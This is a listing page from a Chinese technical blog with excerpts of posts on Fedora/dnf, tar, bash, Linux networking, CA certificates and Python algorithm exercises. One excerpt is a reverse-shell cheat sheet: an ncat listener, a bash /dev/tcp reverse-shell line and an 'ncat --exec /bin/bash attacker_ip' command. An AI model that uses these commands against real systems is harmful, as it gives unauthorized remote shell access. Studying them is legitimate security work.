上一页 1 2 3 4 5 6 7 8 9 10 ··· 55 下一页
摘要: 两个rpm包: ansible ansible-core 安装两个pip依赖: ansible ansible-core dnf repoquery --requires ansible dnf repoquery --requires ansible-core rpm -q --requires 阅读全文
posted @ 2023-01-25 12:33 ascertain 阅读(13) 评论(0) 推荐(0) 编辑
摘要: Operation mode: -A --catenate concatenate 追加模式, 不能是压缩的 tar -A a.tar -vf b.tar 追加a.tar到b.tar后面 -c --create 创建模式, 目录默认递归, --no-recursion不对目录递归 tar cf c. 阅读全文
posted @ 2023-01-24 15:59 ascertain 阅读(112) 评论(0) 推荐(0) 编辑
摘要: Document: Fedora Quick Docs :: Fedora Docs (fedoraproject.org) Don't show package suggestion dnf remove PackageKit-command-not-found Disable the GNOME 阅读全文
posted @ 2023-01-24 14:30 ascertain 阅读(17) 评论(0) 推荐(0) 编辑
摘要: bash [options] [command_string | file] -c If then -c option is present, then commands are read from the first non-option argument command_string. If t 阅读全文
posted @ 2023-01-23 12:46 ascertain 阅读(56) 评论(0) 推荐(0) 编辑
摘要: for param #!/usr/bin/env -vS bash for param;do echo $param done for ${!i} #!/usr/bin/env -vS bash for ((i=1;i<=$#;++i)); do echo ${!i} done $* $@ shif 阅读全文
posted @ 2023-01-23 11:27 ascertain 阅读(19) 评论(0) 推荐(0) 编辑
摘要: 默认网关: ip route show 0.0.0.0/0 | grep -oP 'via \K\S+' f 默认网卡: awk '$2==00000000{print $1}' /proc/net/route d 默认出口IP: ip route get 1.1.1.1 | grep -oP 's 阅读全文
posted @ 2023-01-17 22:22 ascertain 阅读(30) 评论(0) 推荐(0) 编辑
摘要: -u -o nounset Treat unset variables as an error when substitutin -e -o errexit Exit immediately if a command exits with a non-zero status 阅读全文
posted @ 2023-01-09 00:52 ascertain 阅读(19) 评论(0) 推荐(0) 编辑
摘要: ip -details link show type在第三行, loopback 物理 wifi等没有type ip -details -json link show | jq --join-output ' .[] | if .ifname != null then .ifname, " ", i 阅读全文
posted @ 2023-01-08 17:51 ascertain 阅读(171) 评论(0) 推荐(0) 编辑
摘要: ip link add dev dummy0 type dummy 查看dummy的ARGS 添加IP ip addr add 192.168.8.99 dev dummy0 dummy 接口的工作方式和 loopback 接口类似,但是你可以创建任意多的 dummy 接口。它提供路由数据包的功能, 阅读全文
posted @ 2023-01-08 13:58 ascertain 阅读(129) 评论(0) 推荐(0) 编辑
摘要: readlink 默认检查参数是否存在, realpath不会检查 readlink 直接读取非symlink报错, 读取symlink只解析第一级symlink realpath 可直接解析symlink和非symlink, 解析symlink, 会解析所有symlink readlink -f 阅读全文
posted @ 2023-01-08 12:14 ascertain 阅读(121) 评论(0) 推荐(0) 编辑
摘要: dnf install iproute-tc 需要额外安装 kernel-modules-extra dnf install kernel-modules-extra-$(name -r) 加载内核模块 modprobe sch_netem && lsmod | grep sch_netem How 阅读全文
posted @ 2023-01-03 16:57 ascertain 阅读(40) 评论(0) 推荐(0) 编辑
摘要: 确保sandbox_image存在 访问localhost的kube-apiserver, 必须加https 阅读全文
posted @ 2023-01-02 17:47 ascertain 阅读(16) 评论(0) 推荐(0) 编辑
摘要: RedHat: cp ca-bundle.crt /etc/pki/ca-trust/source/anchors/ update-ca-trust Ubuntu: cp ca-bundle.crt /usr/local/share/ca-certificates/ update-ca-certif 阅读全文
posted @ 2023-01-01 21:13 ascertain 阅读(11) 评论(0) 推荐(0) 编辑
摘要: Attacker listening: ncat --listen --source-port 9999 Bash: bash -i >& /dev/tcp/intrinsic/9999 0>&1 ncat: ncat --exec /bin/bash attacker_ip attacker_po 阅读全文
posted @ 2022-12-24 15:49 ascertain 阅读(10) 评论(0) 推荐(0) 编辑
摘要: RedHat: vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other -o uid=1000 -o gid=1000 -o umask=022 chmod a+x /etc/rc.d/rc.local Ubuntu: vmhgfs-fuse .host:/ /mn 阅读全文
posted @ 2022-12-24 12:56 ascertain 阅读(32) 评论(0) 推荐(0) 编辑
摘要: permissions: 允许非root用户控制网络 grant permission nmcli c modify convolute connection.permissions 'user:intrinsic,gdm' disable polkit/etc/NetworkManager/con 阅读全文
posted @ 2022-12-22 19:36 ascertain 阅读(103) 评论(0) 推荐(0) 编辑
摘要: def reverse(b: int): while b // 10: print(b % 10) b //= 10 print(b) reverse(1234) reverse(8) reverse(0) def reverse(b: int) -> int: if b < 10: return 阅读全文
posted @ 2022-12-14 21:13 ascertain 阅读(18) 评论(0) 推荐(0) 编辑
摘要: remand = 'abaxyzzyxf' def long_palindrome(s: str) -> str: longest = '' for i in range(len(s)): for j in range(i, len(s)): substr = s[i:j + 1] if is_pa 阅读全文
posted @ 2022-12-03 23:19 ascertain 阅读(15) 评论(0) 推荐(0) 编辑
摘要: remand = [7, 10, 12, 7, 9, 13] def max_sum_no_adjacent(array): if not len(array): raise ValueError(f'array is empty') if len(array) < 3: return max(ar 阅读全文
posted @ 2022-12-03 22:02 ascertain 阅读(32) 评论(0) 推荐(0) 编辑
摘要: nested loop remand = [3, 5, -4, 8, 11, 1, -1, 6] goal = 10 def palindrome(array: list[int], goal: int) -> tuple: length = len(array) for i in range(le 阅读全文
posted @ 2022-12-03 21:28 ascertain 阅读(15) 评论(0) 推荐(0) 编辑
上一页 1 2 3 4 5 6 7 8 9 10 ··· 55 下一页